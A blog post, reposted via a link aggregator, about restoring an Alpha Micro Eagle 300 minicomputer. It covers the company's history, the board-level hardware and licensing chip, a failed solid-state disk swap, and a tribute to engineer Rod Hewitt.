Our Discord is where artists of every kind hang out: people who paint, shoot, draw, cut film, set type, and people still figuring out what they like to make. Share what you're working on, ask for help, tell us what's broken, or tell us what you wish these tools could do. Whatever your medium and however long you've been at it, you're welcome here.

discord.gg/artcraft · getartcraft.com · The Crafting Apps · WordCraft

License and credits

WordCraft is dual-licensed under MIT or Apache-2.0 , at your option. Copyright (c) 2026 ArtCraft Team and the WordCraft contributors. Required notices are in NOTICE .

Bundled fonts, icons, images and other assets keep their own open licenses; each one is listed with its author, source and license in ATTRIBUTION.md .

The spelling dictionary and hyphenation come from Grady Ward's public-domain Moby Hyphenator II word list. The sample documents and templates are original text written for WordCraft.

The ArtCraft name, wordmark and logos in docs/brand/ are trademarks of the ArtCraft Team and are not covered by this license. They may be used only unmodified, and only as part of this repository and WordCraft, under docs/brand/LICENSE-brand.txt . Forks and modified versions must remove them.

Microsoft and Microsoft Word are trademarks of the Microsoft group of companies. Adobe, Photoshop, Illustrator, Premiere Pro, Lightroom, Acrobat, After Effects and InDesign are trademarks or registered trademarks of Adobe Inc. in the United States and/or other countries. WordCraft is an independent, open-source project and is not affiliated with, sponsored by or endorsed by Microsoft Corporation or Adobe Inc.; these names are used only to describe the workflows it is compatible with.

ArtCraft
Made by the ArtCraft team and community.

Refurb weekend II: Alpha Micro Eagle 300 and friends

Lobsters
oldvcr.blogspot.com
2026-10-11 21:49:50
Comments...
Original Article

This Refurb Weekend is a sequel in two ways.

Six years ago I fixed the power supply and case fan in my 68EC030-based Alpha Microsystems Eagle 300, a more modernized and substantially faster Alpha Micro running AMOS, their unique DEC-inspired multiuser operating system. These blue-collar boxes were very common in many vertical markets due to their tightly integrated business-specific software packages, and are especially unusual for running their big-endian 68000-series processors little -endian (for data file backwards compatibility with their WD-16 ancestors). The 1990s-era Alpha Micro Eagle family improves on the originals with later 68K and even ColdFire CPUs, plus Ethernet and faster SCSI.

The second way it's a sequel is to our previous Alpha Micro refurb weekend , a double header restoring an Alpha Micro AM-1000 and AM-1200, two members of Alpha Micro's most popular series of computers and some of the closest things they made in the early '80s to desktop workstations.

From the outside, the Eagle comes in a PC-style case, but it's not a PC:

This particular Eagle 300, with a 40MHz 68EC030 CPU, runs

ampm.floodgap.com

using the webserver provided with AlphaTCP — yes, Alpha Micros can be networked — and its own on-board Ethernet. At the time the cooling fan failure was putting a lot of strain on the hard disk because it was overheating, and since this was my first Alpha Micro and I wanted to keep it in good nick, I decided I would put a SCSI2SD in it after the repair and get rid of the spinning disk entirely. Fast-forward to last fall, a little over a year ago, when I tried to do exactly that with a ZuluSCSI.

And then it wouldn't start.

It would power on, but it wouldn't enter the boot sequence, not even with the old hard disk back in it, not even to run the internal self-test. I was worried I'd negligently blown one of its two main system boards and that meant I needed another. This entry took as long as it did to come to fruition because Eagles in general aren't easy to find, and on top of that I was looking for a specific one. Through a couple of referrals I managed to get what I thought was a replacement unit I could raid for parts, but it turned out to be something rather more special — and then I was even more fortunate when I got the Eagle 300 back out of storage to make one last attempt at reviving it.

To cap it off we'll go stick ZuluSCSIs in everybody else, including my Motorola ColdFire-based Eagle 450, the first ColdFire server ever produced and what used to be the fastest Eagle in the house until the new hotness came. I even converted the external BlueSCSI the AM-1200 was using to an internal ZuluSCSI too. Now nearly everybody's got a solid-state boot disk and they're all a good bit more zippy, so we'll gawk at the internals, compare 68K CPU and storage benchmarks and most importantly learn from my mistakes, because as my late father always said, "I'd rather be lucky than good." On a more solemn note, we'll also observe a moment of silence for one of the line's creators who passed away last year. It's time for a Refurb Multi-Weekend Sequel.

Alpha Microsystems, founded in Orange County, California in 1977, produced what were considered some of the earliest "poor man's minicomputers," smaller and more affordable multi-user systems that run a bespoke, Digital Equipment Corporation-influenced operating system named AMOS. In our previous entry we discussed their history in detail . First-generation Alpha Micros like the AM-100, designed by Dick Wilcox who also wrote most of the operating system, used large S-100 cases and a CPU chipset called the WD-16, derived from the Western Digital MCP-1600 chipset — the same one used in DEC's LSI-11 CPU — but with higher performance microcode developed by Rich Notari. These machines thoroughly outclassed low-end PDP-11s yet were substantially cheaper, and Alpha Micro found a ready audience initially with hobbyists and then later corporate turnkey environments, where its integrated AlphaBASIC and database functionality gave it a competitive advantage. As the WD-16 had little elbow room to evolve, in 1982 Alpha Micro introduced new systems based on the Motorola 68000, porting AlphaBASIC and AMOS to run natively, but swapping address lines to make it appear little-endian for compatibility with WD-16 data files and AlphaBASIC P-code. These new machines included the AM-1000 , Alpha Micro's most popular single model, and by 1984 it constituted the majority of the over 20,000 Alpha Micro machines then in active use.

An idealized Alpha Micro office from the 1980s might look like this photo, from their actual advertising of the period. The main system is an AM-1042E, the S-100 box sitting on the pedestal next to the printer, using an AM-100/L CPU with an 8MHz 68000 (the same as the AM-1000, which was integrated into a desktop case), and in the factory-standard configuration shipped with 512K of RAM and a 60MB Winchester ST-506 hard disk. The system served some number of local users connected directly via serial ports, in this case the two administrative assistants with AM-60 terminals (a modified and rebadged Wyse WY-100). The fact everyone here was in the same room with the machine was helpful, because AMOS is a strictly real-memory operating system and executable code ran from where it was loaded in the user's fixed memory allocation — there was no memory protection. Although the admin assistants' explicit permissions were limited by which account they were logged into, using the same style of project-programmer numbers as DEC (e.g., [1,2] being the operator account), an errant job of theirs could readily stomp on another and it was not rare for busy systems with buggy software to regularly crash. On the other hand, this also made it fast and efficient with little separation between you and the hardware, and even Alpha Micros with fairly modest specifications could support hundreds of simultaneous users.

Alpha Microsystems tried multiple times to broaden the line technologically, though these efforts were largely for naught. Early attempts to put equivalent hardware onto a PC ISA co-processor card, with software to interchange between MS-DOS and AMOS, yielded only an expensive and poorly-selling PC that wasn't good at either OS (eventually the company gave up producing turnkey systems and just sold the card). In 1984 Alpha Micro introduced UNIMOS, a licensed version of AT&T System V UNIX which ran on modified AM-1000 hardware with an MMU, but it was likewise too expensive and garnered little interest from new users nor demand from existing ones. The cost of its development, the Unix license and its associated royalties, and a simultaneous lawsuit from DEC over AMOS's similarities subsequently caused lasting damage to the company, and by the end of the decade Alpha Micro found itself almost entirely dependent on legacy AMOS users. In the wake of Wilcox's 1990 retirement and original investor Bob Hitchcock's own departure in 1991, new management tried once more with Unix systems based on the Motorola 88000 — which Motorola abandoned shortly afterwards for the PowerPC AIM alliance, and so no hardware ever shipped.

If the platform couldn't be migrated, reasoned Alpha Micro leadership, then it would have to be modernized. A solution was needed for two problems in particular: more up-to-date yet less expensive and fully backwards-compatible hardware for new sales from their risk-averse userbase, and an upgrade path to entice users flatly refusing to part with their old machines. Up to this point, system upgradability had been somewhat uneven and highly model-dependent. RAM and serial port upgrades were generally bespoke boards made from discrete parts which were tedious to replace and repair. Although Alpha Micro had been quick to incorporate Motorola's subsequent 68K CPUs, these higher-performance processors generally only appeared in their larger, more expensive server systems (with the notable exception of the '020, first in the AM-2000 but later in the AM-1600, notionally a desktop computer). Some machines could be upgraded with board swaps, though this wasn't particularly cost-effective, and at the time the most popular AM-1000 and slightly upgraded AM-1200 systems had no official upgrade path from Alpha Micro at all. The December 1987 AM-3000 was the first 68030 machine available from anybody — yes, really, just two months after the '030's October introduction

— initially offering a 20MHz CPU, 32K of L2 cache and supporting up to 360 simultaneous terminals, but even the lowliest 30-user configuration started north of $40,000 [about $117,600 in 2026 dollars]. By contrast, Alpha Micro was uncharacteristically tardy in adopting the 68040 and didn't release the 33MHz AM-4000 until 1993. It was nevertheless nearly as expensive, and for most small offices, which were now increasingly Alpha Micro's financial anchor, that kind of money was simply beyond consideration.

In 1993 the company settled on a two-board approach to solve both problems at once. The CPU board, dubbed the Roadrunner and designed by engineer Joshua Stumpf, contained the new processor, standard RAM SIMM slots, L2 cache (if present), and SCSI controller. This board was specifically designed to also fit in legacy machines, specifically the desktop AM-1000, AM-1200 and AM-1600 and server AM-2000 and AM-3000 systems, and initially came in a 68030 and two 68040 versions. A second board served as the CPU board's system interface, linked together using a custom "X-BUS" interconnect over twin 34-pin cables. For legacy installs, this second board was an active interposer physically replacing the original processor, which in elderly units sometimes needed to be desoldered (though that was also true for the few third-party CPU upgrades then extant, like InterLink's Dimension-030, so the Roadrunner was at least no worse). But this second board could be a whole new system architecture of its own, and that was what the I/O board was, designed by Rod Hewitt. It carried the power supply connectors, controlled the system front panel, contained the System Security Device for licensing (more on this later), presented built-in external ports for parallel, SCSI and (for certain loadouts) Ethernet, had an internal port for an optional floppy drive, and provided SIMM-format "paddle card" slots for option cards. Best of all, these boards were smaller and — by using off-the-shelf commodity hardware — cheaper to manufacture, and could be paired into multiple configurations, together becoming the company's long-promised updated low-end and mid-range systems.

In 1994, the new architecture launched — or perhaps I should say took flight, as the Alpha Micro Eagle family. These earliest systems shared a common PC-type minitower deskside case which was also used for a reworked AM-1600LC desktop system and the AM-950 486DX2/66 PC. The central model was the Eagle 300, powered by a 40MHz 68EC030 CPU board (remember, AMOS doesn't need an MMU) and an I/O board with SCSI-2, two parallel ports and Ethernet, plus four paddlecard slots for up to 32 serial ports. The Eagle 400 was correspondingly the same I/O system board with a 33MHz (billed as 66MHz because of the '040's double-speed secondary clock, to be discussed in the second half) full 68040 CPU board and 32K of L2 cache; the Eagle 500 had a 40MHz (80MHz) one. But their best attribute was the price: unlike the big AM systems, these machines started at just a few thousand dollars, depending on license caps, and they'd run all your old software.

If that was still too expensive for you, the company added two more choices that were even cheaper. One was the Eagle 200, which mated the 68EC030 CPU board with a cut-down system board missing Ethernet, one of the parallel ports and two of the paddlecard slots. In November the lowest-end Eagle 100 dispensed with the modularity of the other systems entirely, consolidating the 68EC030 CPU and I/O boards into a single logic board also designed by Hewitt with eight built-in serial ports, no standard Ethernet (offered through a paddlecard upgrade, which I'll show you), only one parallel port and only one paddlecard slot. As promised, Alpha Micro also offered legacy upgrade packages using the same Roadrunner CPU boards, sold separately with their system-specific active interposers for existing installations.

This is my own Eagle 300, shown here when I unpacked it in my apartment in 2007. It came in the standard four 5.25" bay case shared by all five initial configurations, which I was delighted to note was little-yellowed and even now nearly two decades later is still largely unblemished. The case was not custom-built for Alpha Micro and was merely an off-the-shelf one they bought in bulk, though I have not yet found the OEM. This computer was my first fully operational Alpha Micro; I had always intended to own one personally for reasons I've related elsewhere , and I managed to land it for just a couple hundred bucks in fully working order. (Boy, are those days gone.)

Based on the software still on the hard disk, this machine was previously used at a chain of three party stores in Washington state as a centralised rental and point-of-sale system, a common turnkey application. On arrival it sported the same loadout as in this article's first picture except for its original smaller-capacity Tandberg QIC tape drive, which in Alpha Micro parlance is called a tape streamer. Since these systems don't boot from CD, QIC tape is your only way to cold start and restore most 68K Alpha Micro computers if the hard disk fails. These systems also don't support the old Alpha Micro VHS backup system, hopefully to be the subject of a future article , which was ubiquitous in their early hardware. There is a single hard disk in the second 5.25" bay, though these first-generation systems also supported 5.25" and 3.5" floppy drives using an AM-219 controller board.

Pictures of the case in other Alpha Micro marketing literature showed two "badge" areas which contained the vendor logo and, improbably, a little LCD clock. (This appears to have been stock photography from the OEM; perhaps that tidbit jogs someone's memory about the case.) For the Eagles, Alpha Micro commissioned two customized metal badges for those areas which are seen on most members of the line. They look very nice and give it a pro feeling.

Because it's a PC case, it has a PC front panel, including a "Ace"-style tubular keylock (fortunately unlocked, since I don't have the key), a reset button and a turbo button (for which the manual says, to everyone's great disappointment, "The Turbo button is not functional in AMOS-based Eagle configurations"). Above them are three LEDs, for system power, CPU activity and disk activity, and then to the right a space for a numeric LED. This is where a PC case of the time might have had the system's current speed, but AMOS has another use for it which we'll demonstrate.

The rear of the unit is also fairly standard. The I/O board's external ports emerge on the far left/west edge, and the card slots and external Centronics-style SCSI port are in the middle. This is a two-board system, so there are two case fans, one in the power supply and one down below. The one at the bottom is the Noctua fan I installed during the original Refurb Weekend .

The backplate shows the system's vital statistics. Although collectively the family are called Eagles, the internal designation for the Eagle 300 is the AM-3500-E300 (so the E400 would be the AM-3500-E400, and so forth, reflecting their common ancestry), implying it slotted between their AM-3000 and AM-4000 large systems. It is serial #02233 with a stated manufacturing date of January 1998, relatively late in the model's lifespan. This particular machine might have been a warranty replacement because the system initialization file indicates they took delivery of the system in December 1997 and the serial in that file is slightly earlier (#02200).

The plate sticker also carries the SSD serial number as shipped from the factory, or System Security Device (not to be confused with the modern solid-state drive). In our previous Alpha Micro foray we discussed the SSD's role, a chip installed in every 68K (and later x86) Alpha Micro, even the earliest S-100 boards, used by the operating system and any installed VAR software packages to enforce copy protection and license caps. The SSD number on the rear is just a serial number, printed on the rear plate for convenience and engraved on the SSD chip inside, which I'll show you in a moment. This number is not the key stored inside the chip, up to 256 bytes in length, which only Alpha Micro recorded. When a VAR wanted to lock an install to a particular system, they would provide their private code to Alpha Micro plus the user's SSD serial number, and Alpha Micro would look up the key and generate an alphanumeric PIC (Product Installation Code) that the VAR either used for direct installation or to provide to the user. During the installation process the PIC (usually irreversibly) encoded a binary overlay for the protected executable(s), making it impossible to run them on a system where the SSD didn't match. To facilitate logic board swaps and upgrades, the SSD is socketed and easily transplanted into a new board, but PICs were expensive then and unobtanium now, another reason hard disk backups were so critical.

From top/north to bottom, the ports on the system board are twisted-pair Ethernet (10BaseT), DIP switches for setting the boot device which will become very important later on, an AUI Ethernet port (same NIC as the TP Ethernet, so both cannot be used simultaneously), and two SPP IEEE-1284 ports for parallel printers.

Although Alpha Micros could be networked with the bespoke AlphaNET system and the Eagles were not the first Alpha Micros to have Ethernet, AlphaTCP was developed at the same time as the Eagles, and ran on Ethernet-equipped Eagles as a first-class citizen (AlphaTCP could also be configured to run over SLIP). The web server I run on this one is how I came by some of the development history of the Eagles because Rod Hewitt himself let me pick his brain, and later AlphaTCP developer Steven Lawson, who were delighted to see their creations still in use and filled in the details. I'll come back to a critical piece of Rod's recollections in a moment.

In the middle is the single Centronics-style external SCSI port, which I removed the external terminator from for this picture, and then eight cutout "slots." These cutouts are actually sized for an RJ-21 Amphenol connector and we'll see such a setup in our second system. The bottom/south four look like Ethernet connectors, but are in fact Alpha Micro-specific 8P8C ("RJ-45") serial ports that can be turned into a more typical RS-232 DE-9 ("DB-9") or DB-25 with a passive modular connector. A straight-thru Ethernet cable can connect the two sides, which is convenient and space-saving. On this unit the prior owners had labeled which port was for which terminal or serial printer.

Here it is running in 2007 with its original AM-65 (modified Wyse WY-150) serial console. Onscreen I'm looking at the contents of the AlphaTCP "directory," which is really a project-programmer number, because as mentioned AMOS is so greatly influenced by DEC operating systems like TOPS-10 and RSTS/E, and to a lesser extent RSX-11, that DEC dealt a heavy financial blow to the small company by unsuccessfully suing them over it in 1984. AMOS not only uses PPNs but the same 6.3 filename structure, and many of the same or similar commands.

In case you're ever unsure whether the site on the other end is an Alpha Micro, here's the HTTP headers from it as of today:

% curl -I http://ampm.floodgap.com/
HTTP/1.0 200 OK
Date: Sun, 11 Oct 2026 23:43:03 GMT
Server: AMOS-HTTPD/1.3C(111)
MIME-version: 1.0
Content-type: text/html
Last-modified: Sun, 11 Oct 2026 23:42:00 GMT
Content-length: 30242
Content-encoding: 7bit

This is an older version of AlphaTCP, but it works, though this version of the webserver is limited to HTTP/1.0 and does not support virtual hosts or keep-alive.

Later on I got it an AM-75 (modified Wyse WY-370) colour head, which is what it uses now and the terminal you saw in our most recent article . In this picture it's also attached to an AM-401 CD-ROM, which is the trusty Toshiba XM-5401B in an external case, though only specific ROM versions are supported. It can't boot from this drive, but it can read AMOS-formatted partitions, and with external software can also access ISO 9660 filesystems.

Onscreen is a performance estimate using the built-in SI.LIT tool, which we'll be using to benchmark our new solid-state disks when we get them in there. Here's that output.

.si dsk0:
   SI--AMOS System Information, (C) Copyright 1990, Alpha Microsystems Inc.
                               Version 3.0(114)

               Computer Type: Eagle
              Main Processor: 68030
                Co-Processor: None
                 MMU present: Yes
            Operating System: AMOS 2.3A(484)
          Boot PROM revision: M00
              Number of SSDs: 1
                Total Memory: 16384 K-bytes
     Resident Monitor Memory: 6218 K-bytes

     Computing Index (CX), relative to AM-100:    36.9
     48 bit FP Index (4X), relative to AM-100:    36.3
Floating Point Index (FX), relative to AM-100/L:  5.6
          Disk Index (DX), relative to ST-506:    15.3

I don't know why it identified the 68EC030 as having an MMU, because it doesn't, but we're mostly interested in the "computing index" figure (SI's equivalent of an integer score) which is 36.9 times faster than Alpha Micro's original AM-100, and the "disk index" hard disk throughput test, which rates the spinning disk it came with as 15.3 times faster than their early ST-506 drives. Remember these figures as a baseline; we'll be referring to them again.

On the front panel in both pictures you can see the number "0" in the LEDs. That's where the system status is displayed, initially by the firmware, then the OS monitor during boot and then in operation. We'll come back to this as well.

Fast-forward now to September 2025, with the outer metal shell removed. Our original Refurb Weekend involved replacing the old AT supply with an ATX one and a converter. Since that post I found a NOS AT supply for cheap and I needed the ATX supply for something else, so I removed the converter and installed the new AT supply. This is that unit.

Next, the internals. Here we have its AM-172 68EC030 CPU board, with a copyright date of 1993, mounted to the bottom of the case in this later unit; early units mounted them vertically on a sidepanel which inconveniently blocked access to the I/O board. In the top left/northwest corner is the SCSI cable, and then the two X-BUS cables. Power is provided by a standard Molex connector stuck in the back betweeen them (remember this detail). On the right/east side is a single SIMM slot containing a 72-pin 16MB parity FPM RAM stick. The AM-172 supports up to 64MB in this slot, though the board needs to be jumpered (at JP5 and JP6) to tell the computer how much is there. There are also various testpoints plus two footprints for what look like alternate (or additional) SCSI connectors.

The three big chips are the 68EC030 processor, which is socketed and has a date code of 12th week 1997, along with an NCR 53C710 SCSI-2 controller (manufactured by Symbios Logic, 2nd week 1997) supporting 10MB/s synchronous transfers, and a Lattice Semiconductor MACH130 PLD (manufactured by AMD, 8th week 1997), basically four "PAL26V16-equivalent" blocks jammed into one die. The CPU and the 53C710 are both clocked by an 80MHz crystal divided down to 40MHz; there are also 16MHz and 50MHz oscillators on the board which appear to be used for the PLD and bus logic.

Likely for cost reasons there is no L2 cache, though another thing to keep in mind is — so I'm told — that for compatibility reasons with 68000 and 68010-era AMOS software it is not possible to enable the data cache (or at least not without substantial difficulty). In fact, we observed exactly this phenomenon when looking at the driver for the InterLink Dimension-030 CPU upgrade , which puts a 68030 in an AM-1000: it never set the data cache bit in the '030's CACR at all. Although some machines can accept an external L2 cache, including one we'll look at in detail, anything it would provide is strictly I-cache.

And here is the AM-319 I/O board (the Eagle 200's cut-down variant was the AM-319-10, the same general architecture with less hardware). The X-BUS cables from the CPU board plus the two AT power connectors from the main power supply are at the upper left/northwest corner. In the upper right/northeast corner are the jumpers and pinheaders going to the front panel. Interestingly there is a set of pads marked SPEAKER between the AT connectors and the front panel connectors, though AMOS doesn't officially support audio. The BR2325 clock battery is hidden under the ribbon for the front panel.

The main chips on the I/O system board are two large Altera PLDs. Although the datasheet says the SRAM storing the logic is backed by either EPROM or Flash, in these first generation Eagle boards Rod Hewitt explained to me that they get completely reprogrammed from the CPU board's boot PROMs on every powerup (adding, "That saved my butt a couple times!"). The PLDs are clocked by a 32MHz crystal in the lower right/southeast corner, and to the right/east of them is the connector for an AM-219 floppy controller, which these systems still supported.

Between the floppy controller connector and the larger PLD sits a small chip in a PLCC socket. This is the SSD (in earlier units it was a DIP; they are functionally identical). Note that all markings except for its engraved serial number have been removed, but people have decapped these, and found that they are otherwise simply specially programmed PALs. There is no known way to read out the code and/or clone it without cracking it open and there was (allegedly) a cottage industry back in the day that did exactly that. It is socketed for easy transfer to a replacement or upgraded system.

To the left/west of the main PLDs are the two unpopulated paddlecard expansion SIMM slots (the other two we'll get to in the next photo). The Eagles inherited this connector from the AM-1600, which was the original system for many of these paddle cards, and has 42 pins so that a RAM stick can't accidentally fit there. Next to the slots is a 3.6864MHz crystal which will tip off some of you as to what the paddlecard slots are normally used for.

If you didn't figure it out, here's one of the paddle cards it came with, an AM-318 8-port serial card. (3.6864MHz is one of those clock speeds that neatly subdivides into standard baud rates and is a hint that there's likely a UART of some kind nearby; see also 4.9152MHz and several other common values.) The two main chips are Philips (now NXP) SC26C94 quad UARTs, each providing four of the eight ports, using a "bidding" system to consolidate and reduce unnecessary service interrupts. AMOS has special acceleration for these QUARTs which Alpha Micro marketed as "Super I/O." Up to 57600bps is supported. The later AM-318-10 uses the refined SC28C94 or SC68C94,

but is functionally equivalent in AMOS.

Each card sends off two ribbons to two additional cards installed in the rear (a total of four). These are the 8P8C "RJ-45" ports you saw and are carried on four-port AM-90 "Lightning" boards, consisting of a large array of Zener diodes with one for every active line. As the name implies, they are intended to protect the hardware from high voltage surges on connected terminals, either repelling the excess voltage entirely or limiting damage to the Lightning card itself where the diodes can easily be replaced (there are no other active electronics). In installations with sometimes distant terminals connected by repeater, lightning strikes and other such surges were a non-theoretical risk, so cards like this served as a reasonable insurance policy.

For even larger port concentrations, the AM-318 can directly drive a single RJ-21 Amphenol connector, putting all eight ports on "one" card. Inconveniently the RJ-21 connector requires a breakout cable and is physically identical to a Centronics-style 50-pin SCSI (but is not ). I have such an example later on.

Other serial paddlecards can also be installed. The AM-314 provides only four serial ports, but is not merely a cut-down AM-318 — the AM-314 can also be configured for RS-422 (the AM-318 is strictly RS-232) and supports all RS-232 handshake lines (the AM-318 only RTS/CTS), and in certain configurations can trigger a remote reboot from a connected distant console by grounding pin 1 with pin 7. By contrast, the more exotic AM-338 provides an IBM Binary Synchronous Communication "Bisync" link, typically used for Remote Job Entry (RJE) or CICS connections with IBM mainframes, but could theoretically have also worked with some early point-to-point networks like BITNET. It connects to an AM-339 which provides the physical port.

One other possible expansion option comes when we compare those boards with the AM-137 unified board of the Eagle 100. I'm not going to say a whole lot more about the Eagle 100 in this specific article since it's essentially a cost-reduced Eagle 300 with less expansion capability, but because it was so inexpensive to manufacture it ended up outlasting several of its contemporaries. You should be able to identify most of the same landmarks on this one (the SCSI controller, now an LSI part, and the two main system PLDs with stickers on them; the CPU is hidden behind the drive cage and is not visible here) and note that there is only one paddlecard slot next to the single RAM slot. Instead, the E100's serial ports come from an AM-318-10 incorporated into the AM-137 (the QUARTs are in PLCC sockets next to the empty paddlecard slot) and fan out into eight DE-9 ("DB-9") ports mounted directly on the back of the case instead of 8P8C ("RJ-45") ports on cards. These are not regular PC "COM" ports, by the way, and need a passive converter.

The E100 was still capable of Ethernet, though for that you needed an AM-366. These paddlecards were never very common and are now extremely hard to find, and back in the day I ended paying more for the card from an Alpha Micro reseller than I did for the E100 (grrr). It uses a National Semiconductor DP8390D, an ancestor of their later DP83932 SONIC NIC, and is basically a shrunk-down NE1000 card in every other respect. The set of pinheaders at the top is in fact nothing more than a stealth AUI port; the kit came with a mounting bracket and a passive connector cable, but I just connected the cable directly to one of my many AUI transceivers and plugged twisted-pair Ethernet into that. This card is electrically compatible with the other Eagles and theoretically should provide a second interface, but I haven't gotten up the nerve yet to try it. One or both of my E100s may turn up in a future article .

Notice how many of these PCBs say "Made in USA"! A different era.

Anyway, back to the work at hand: swap out the E300's SCSI hard disk for a ZuluSCSI. Let's unplug the hard disk and get the bay out.

The rather dusty hard disk, and near as I can tell the original one it shipped with, is a Seagate Hawk ST31051N, a 5400rpm 1GB Fast SCSI drive with a narrow 50-pin interface. Again, because the case was all off-the-shelf PC components, the hard drive likewise sits in an off-the-shelf 5.25"-to-3.5" conversion bracket to which it's bolted, the same sort you'd use for a 3.5" floppy drive in such a bay.

The front drive LED uses standard pinheaders, which we should be able to convert. It looked like someone tried to hotglue the LED cable in position (!) but it was easily convinced to slide off.

I had an old ZuluSCSI RP2040 still on the shelf that I thought would be fast enough for this (note from the future: no, it's not). Using modern emulators like the ZuluSCSI or BlueSCSI for this purpose is helpful because the unit can do the disk copy for you and then store it as a file, making backups as simple as copying the hard disk image file to another computer for safekeeping. Backups are especially critical on systems like these where the operating system is effectively locked to the SSD, and this method of archiving the drive's contents is way easier than tape.

(I should also note for the record that although we're using mostly ZuluSCSIs in this article, I am merely a generally satisfied heavy user, and I have no affiliation or arrangement with their designer other than previously testing some pre-release units.)

Since the ZuluSCSI has no side mounting holes and I didn't have any more plastic enclosures on hand, I used the leftover struts from my SGI Indigo^2 retrofit to see if it could sit on them. It did, so I sheathed them in electrical tape as a "bed," put the ZuluSCSI into initiator mode, connected the old hard disk and the ZuluSCSI to my copy rig, and left it to image the drive to the SD card.

While that was going on, I made the fateful decision to try to clean up the cable rat's nest. As part of this task I rerouted some of the Molex power connectors from the PSU, including the one to the CPU board. When the copy completed I snapped off a couple pin headers from my stack in the parts box and slid them into the LED cable, then connected that to the LED activity vias on ZuluSCSI.

Ready for the power-on test before installing it permanently. It showed a zero on the front LEDs, but it didn't change : the boot sequence wasn't starting. I freaked out, immediately powered it off, and checked everything inside that I'd touched to find I had not properly reconnected the CPU board's power connector.

When I plugged the CPU board back in and turned the system on again, this code ("2d") showed up. I removed the ZuluSCSI and reconnected the Seagate drive. It still showed up. I removed everything from the SCSI bus. It still showed up. Okay, I said to myself in panic, I must somehow have blown the SCSI controller; maybe I can work around it. I held in the reset button while powering it on to see if I could get it into the ROM self-test. The code still showed up.

I powered it down and consulted the documentation. "If status 2d or 3d remains on the display panel, your computer has encountered an error, perhaps due to faulty memory or addressing. Perform 'Procedure #5: Self-Test [which is what I just did].' If your computer does not pass the self test, call your VAR with the information from the test. Stop." Well, that's just dandy. In the list of status codes later on, there is no explicit 2d, just an "xd" where the boot sequence "failed because of a time-out error. This code may indicate faulty memory or an addressing problem." Here the x indicates either the alternate boot device (2), in this case the tape streamer, or the primary boot device (3), in this case the hard disk. The primary and secondary devices are configured by the DIP set on the back, but I hadn't changed those, and even if they needed to be changed for the ZuluSCSI (note from the future: they do), that didn't explain why it wouldn't boot with the original hard disk either.

Given that it couldn't even enter the self-test, there was clearly more wrong than just the SCSI controller. Since it mentioned faulty memory, I did try one of the SGI Indigo²'s 72-pin SIMMs since those are FPM parity also, though I didn't think that was really the problem and as expected it didn't make a difference. It took me a couple hours to calm down because I really like this machine and I'd somehow just killed it doing what should have been a very low-risk upgrade. Sure, I had the E100s and also since acquired a more powerful later model I'll introduce you to momentarily, but this was my original .

I dug up Rod's old E-mail to see if there were any clues in it and recalled what he'd said about the PLDs being dynamically reprogrammed on every startup — from the CPU board . I also knew from the service manual that the X-BUS cables, the only connection between the I/O board and the CPU board, had to be correctly connected or the service manual warned damage could result. A horrible theory stirred in my head: perhaps I had managed to accidentally corrupt the PLDs by effectively bringing up the I/O board without the CPU board, where the boot PROMs used to reprogram them are located. However, that also suggested a solution — there are many undocumented jumpers on the AM-319 and I wondered if one of them could be used to trigger a clean reset of the programmable logic.

I typed out a message to Rod and it bounced, which brings us to the memorial portion of this post: it turned out Rod Hewitt had passed away just months prior, in March 2025. Although Rod hadn't worked for Alpha Micro in some time, he still maintained a few systems as a hobby, and was the developer of the Windows ZTERM terminal package that specifically supported Alpha Micro terminal emulation (Alpha Micro even used it for their AM-80 Windows CE thin client, which might itself appear in a future article ). He also had an interest in digital television, developing TSReader, a way to analyse the MPEG-2 transport streams commonly used for satellite, cable and IPTV transmissions.

ZTERM and in particular TSReader became far and away his most popular software packages. However, a few years prior and unbeknownst to many, he had quietly entrusted a copy of the TSReader source code to a friend officially "just in case," and sold ZTERM to MicroSabio , a long-time Alpha Micro support company that maintains A-Shell , a way of running AlphaBASIC applications on modern operating systems. The reason became clear later — he was dying, and it was not treatable. The source code for TSReader was duly posted after his passing and remains today as his most popular legacy. Rest in peace, Rod, and thank you.

Without Rod's guidance, though, there wasn't much more I could think of to do at that point. I unplugged it, pulled the clock battery and let it sit for a couple days to see if that was enough to reset the PLDs, assuming that was the actual problem, and it didn't. It still seemed like it should be repairable if I could only figure out how, but as there was little point in having it sit fruitlessly on the workbench I removed all the remaining cables from the system board and moved the machine to cold storage until I could come up with something else. In the meantime I turned to my alternative system to get ampm.floodgap.com back up and running, though to discuss it we need to bring the history forward some more.

The Eagles were well-received by the user base, though by 1996 it became clear that they couldn't serve the very large installations that were becoming curious about them, and there were just too many models to begin with anyway. The E100 was cheap enough that it sold in good numbers, but few customers fell between it and the E300, making the E200, more expensive to sell and manufacture than the E100, obviously superfluous. Likewise, high-end customers interested in the E500 were interested only in the E500: a junior-varsity 68040, which is what the E400 was, didn't have much appeal. Both the E200 and E400 were quietly dropped.

For large installs that required substantial numbers of serial ports, the existing AM-319 board had to be expanded. The revised AM-319-20 board, providing four built-in serial and parallel ports with a UPS monitor port and a higher-performance DP83902 Ethernet NIC, still had two paddlecard slots, but these slots were widened to 60 pins and could now be part of a bus connected to an external chassis. Alpha Micro had long sold the AM-990, a large capacity case (in this image as used for the AM-4000, though I apologise I don't have a better image of it) and the AM-990 Jumbo, which was even larger. A new higher-performance serial card was developed to take advantage of the widened paddlecard slots, an optically-isolated eight-port card called the AM-359. Twelve AM-359s could be installed in the AM-990, yielding 96 ports when connected to a fan-out in one of the AM-319-20's paddlecard slots (the four on-board ones made an even hundred); the Jumbo could take another twelve AM-359s for another 96 ports connected to the second, a whopping total of 196 serial ports when combined with the base four. If you needed even more, the AM-3501 sidecar chassis could take you well beyond. There was no point in supporting the 68EC030 with such a monster: this new Eagle, officially the Eagle 550 Super Eagle, was 68040 or bust.

For users that didn't want to go that large, a Super Eagle in the standard case could support up to 60 ports, four on the AM-319-20 and then seven AM-359 cards in the usual position. The E550 Super Eagle additionally came as a separate upgrade kit for the E500 and the few E400s that sold, essentially a system board swap, though when sold as a turnkey system it was always with the 40/80MHz CPU. The E550 introduced a new Seiko timekeeper chip as well which not only maintained the time but also the "CMOS settings," the first Alpha Micro with an on-screen setup utility in ROM allowing boot configuration.

